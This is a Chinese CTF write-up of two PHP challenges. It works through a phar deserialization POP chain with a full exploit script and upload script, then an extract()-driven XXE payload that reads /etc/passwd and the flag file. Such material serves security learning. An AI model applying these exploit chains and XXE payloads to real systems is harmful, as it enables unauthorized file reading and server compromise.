最近一直在搭博客,学一些新的东西,很久没有做题了… 来简单总结一下之前做过的各类典型题目

phar反序列化(CBCTF2024_Note2)


show-me-source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php

// easy unserialize chain OuO

class notes{
function __construct($filepath){
readfile($filepath);
}
}

// flag in /flag , let's go !!

class _0rays{
public $jbn;
public $pankas;
function __wakeup(){
if(call_user_func($this -> jbn)){
throw new Exception($this -> pankas);
}else{
echo "ha?";
}
}
}

class lets{
public static $yolbby = "nonono";
public $mak4r1;
public $ech0;
public $rocket;
public $errmis;
function __toString(){
$humb1e = md5($this -> mak4r1);
$k0rian = substr($humb1e,-4,-1);
$this -> rocket -> dbg = $k0rian;
return "O.o?";
}
function __set($a, $b){
self::$yolbby = $b;
$int_barbituric = $this -> ech0 -> gtg;

}

function __invoke(){
new notes($this -> errmis);
}

}

class go{
public $ed_xinhu;

function __get($c){
if(lets::$yolbby === "666"){
$dilvey = $this -> ed_xinhu;
return $dilvey();
}else{
echo "you are going to win !";
}
}

}


function check($filePath) {
if(!file_exists($filePath)){
return false;
}
$realPath = realpath($filePath);
if (strpos($realPath, '/notes') === 0 ) {
return true;
}
return false;
}

function listnote() {
$directory = '/notes';
$files = array_filter(scandir($directory), function ($file) use ($directory) {
return is_file("$directory/$file");
});
foreach ($files as $f) {
$link = '<a href="/index.php?note=/notes/' . htmlspecialchars($f) . '">' . htmlspecialchars($f) . '</a> <p></p>';
echo $link;
}
echo '<a href="/index.php?note=show-me-source">show source</a>';
}

// upload your own note ? (under development)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$file = $_FILES['user_note'] ?? null;
if ($file && strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)) === 'txt') {
$randomFileName = uniqid() . '.txt';
$targetFilePath = "/notes/" . $randomFileName;
if (move_uploaded_file($file['tmp_name'], $targetFilePath)) {
echo "Your note successfully saved in :".$targetFilePath;
exit;
}
}
die("error");
}

$note = @$_GET['note'];
if($note){
if($note === "show-me-source"){
highlight_file(__FILE__);
}else{
if(check($note)){
header('Content-Type: text/plain; charset=UTF-8');
new notes($note);
}else{
die("hacker...");
}
}
}else{
echo "<h1>这里是mak自己悄悄留给你的一些笔记哦,打开看看吧</h1>";
echo "<h2>Notes List:<h2>";
listnote();
}

附一份我之前做题的wp:
先分析代码可以看到大致分两部分
前面一部分重点通过readfile()读取文件 后半部分打phar包文件上传

pop链:

1
__wakeup()->__toString()->__set()->__get()->__invoke() 

先写一个脚本爆破出$mak4r1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import random 
import hashlib
value = "666"
while 1:
plainText = random.randint(10**11, 10**12 - 1)
plainText = str(plainText)
MD5 = hashlib.md5()
MD5.update(plainText.encode(encoding='utf-8'))
cipherText = MD5.hexdigest()
if cipherText[-4:-1]==value :
print("碰撞成功:")
print("密文为:"+cipherText)
print("明文为:"+plainText)
break
else:
print("碰撞中.....")

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
class notes
{
function __construct($filepath)
{
readfile($filepath); //【6】
}
}
class _0rays
{
public $jbn;
public $pankas;
function __wakeup()
{ //[1]
if (call_user_func($this->jbn)) {
print ('no'); //【1】
throw new Exception($this->pankas);
} else {
echo "ha?";
}
}
}
class lets
{
public static $yolbby = "nonono";
public $mak4r1 = "616421075056";
public $ech0;
public $rocket;
public $errmis;
function __toString() //【2】
{
$humb1e = md5($this->mak4r1);
$k0rian = substr($humb1e, -4, -1);
$this->rocket->dbg = $k0rian;
return "O.o?";
}
function __set($a, $b) //【3】
{
self::$yolbby = $b;
$int_barbituric = $this->ech0->gtg;
}
function __invoke()
{
print ('invoke');
new notes($this->errmis); //【5】
}
}
class go
{
public $ed_xinhu;
function __get($c) //【4】
{
if (lets::$yolbby === "666") {
$dilvey = $this->ed_xinhu;
print ('get');
return $dilvey();
} else {
echo "you are going to win !";
echo lets::$yolbby;
}
}
}
$_0rays = new _0rays();
$go = new go();
$lets1 = new lets();
$lets2 = new lets();
$lets3 = new lets();

$lets3->errmis = '/flag';
$go->ed_xinhu = $lets3;
$lets2->ech0 = $go;
$lets1->mak4r1 = "616421075056";
$lets1->rocket = $lets2;
$_0rays->pankas = "error";
$_0rays->jbn = array($lets1, '__toString');

$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($_0rays);
$phar->stopBuffering();

上传文件的脚本:

1
2
3
4
5
6
7
import requests 
url = "http://dfb81bd1-59cc-4645-bdc9-a220d7823c6c.training.0rays.club:8001/"
file_path ="D:\\phpstudy_pro\\test.txt"
file_content = open(file_path, 'rb')
files = {'user_note': file_content}
response = requests.post(url, files=files)
print(response.text)

利用phar://伪协议访问上传的文件:


XXE(ISCTF2023_EZPHP)

解析

register.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include "utils/function.php";
$config = include "utils/config.php";
$user_xml_format = "<?xml version='1.0'?>
<userinfo>
<user>
<username>%s</username>
<password>%s</password>
</user>
</userinfo>";
extract($_REQUEST);
if(empty($username)||empty($password)) die("Username or password cannot be empty XD");

if(!preg_match('/^[a-zA-Z0-9_]+$/', $username)) die("Invalid username. :(");

if(is_user_exists($username, $config["user_info_dir"])) die("User already exists XD");
$user_xml = sprintf($user_xml_format, $username, $password);

register_user($username, $config['user_info_dir'], $user_xml);

发现有extract()变量替换和XXE注入
所有的变量均可以根据我们的需求进行修改
user_xml为格式化后的usernamepassword

跟进register_user()
function.php:

1
2
3
4
5
function register_user($username, $user_info_dir, $user_xml){
$user_dir_name = $user_info_dir.$username;
mkdir($user_dir_name, 0777);
file_put_contents($user_dir_name.'/'.$username.".xml", $user_xml);
}

register_user() -> 注册一个用户就会创建一个$user_info_dir.$username的目录并创建一个$username.xml文件把格式化后的usernamepassword写入

config.php:

1
2
3
4
5
<?php
libxml_disable_entity_loader(false);
return array(
"user_info_dir" => "/tmp/users/"
);

$user_info_dir/tmp/users/, 我们可以通过变量替换将目录替换成 /var/www/html
这样注册用户的部分就可以理解为创建了一个/var/www/html/username/username.xml文件,里面有格式化的usernamepassword的信息

下面分析登录的部分:
login.php:

1
2
3
4
5
6
7
8
9
10
<?php
include "utils/function.php";
$config = include "utils/config.php";
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
if(!is_user_exists($username, $config["user_info_dir"])) die("Username error");
$user_record = get_user_record($username, $config['user_info_dir']);
if($user_record->user->password != $password) die("Password error for User:".$user_record->user->username);
header("Location:main.html");

跟进get_user_record()
function.php:

1
2
3
4
5
6
7
function get_user_record($username, $user_info_dir)
{
$user_info_xml = file_get_contents($user_info_dir.$username.'/'.$username.'.xml');
$dom = new DOMDocument();
$dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);
return simplexml_import_dom($dom);
}

可以理解为将之前的xml文件中的usernamepassword解析出来,如果输入的密码与这个用户所对应的密码不一致,则会die出用户名(这里输出的用户名是xml模板解析后的用户名而不是我们注册的用户名->所以对应的密码也是xxe模板中的密码)

思路

通过上面的分析,我们可以想到利用输入错误的密码来返回xxe中读取的内容

wp

先注册一个username=111&password=111的用户
发现url改变
修改目录

访问成功,并查看到了题目给的xml的格式
访问成功

利用extract,把$user_xml_format覆盖成xxe的payload
覆盖$user_xml_format而不是user_xml是因为user_xml_format是xml模板,最终写入文件,而$user_xml是最终xml的内容

payload:

1
2
3
4
5
6
7
8
127.0.0.1:8080/register.php?username=999&password=999&
user_xml_format=<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<userinfo>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
</userinfo>

有回显,注入成功
附一张复现图,本地报错布吉岛为什莫
直接url传的话需要编码!!

payload:

1
2
3
4
5
6
7
8
http://gz.imxbt.cn:20715/register.php?username=777&password=777&
user_xml_format=<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///../../../../flag" > ]>
<userinfo>
<user>
<username>%26xxe;</username>
<password>123</password>
</user>
</userinfo>

利用%26代替& 因为&会被当作实体引用的开始标志
输入username=777 且密码不为123
成功读到flag